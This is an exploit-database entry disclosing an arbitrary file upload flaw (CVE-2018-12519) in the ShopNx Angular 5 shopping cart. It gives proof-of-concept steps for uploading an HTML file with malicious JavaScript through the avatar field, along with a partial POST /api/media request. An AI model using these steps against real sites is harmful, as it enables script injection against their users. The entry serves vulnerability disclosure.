ShopNx - Arbitrary File Upload Vulnerability

ID 1337DAY-ID-30675
Type zdt
Reporter L0RD
Modified 2018-07-04T00:00:00


Exploit for php platform in category web applications

                                            # Exploit Title: ShopNx - Angular5 Single Page Shopping Cart Application 1 - Arbitrary File Upload
# Exploit Author: L0RD
# Email: [email protected]
# Vendor Homepage:
# Version: 1
# CVE: CVE-2018-12519
# Tested on: Win 10
# Description :
ShopNx 1 is an Angular 5 single page application which suffers from
arbitrary file upload vulnerability .
Attacker can upload malicious files on server because
the application fails to sufficiently sanitize user-supplied input.
# POC :
1) Login as a regular user and navigate to "edit profile"
2) Click on "Avatar" and upload your HTML file which contains malicious javascript code.
3) You can find your uploaded file here :
   Path :[Your File]
# Request :
POST /api/media HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 367
Content-Type: multipart/form-data;
Connection: keep-alive
Content-Disposition: form-data; name="file"; filename="file.html"
Content-Type: text/html

# [2018-07-04]  #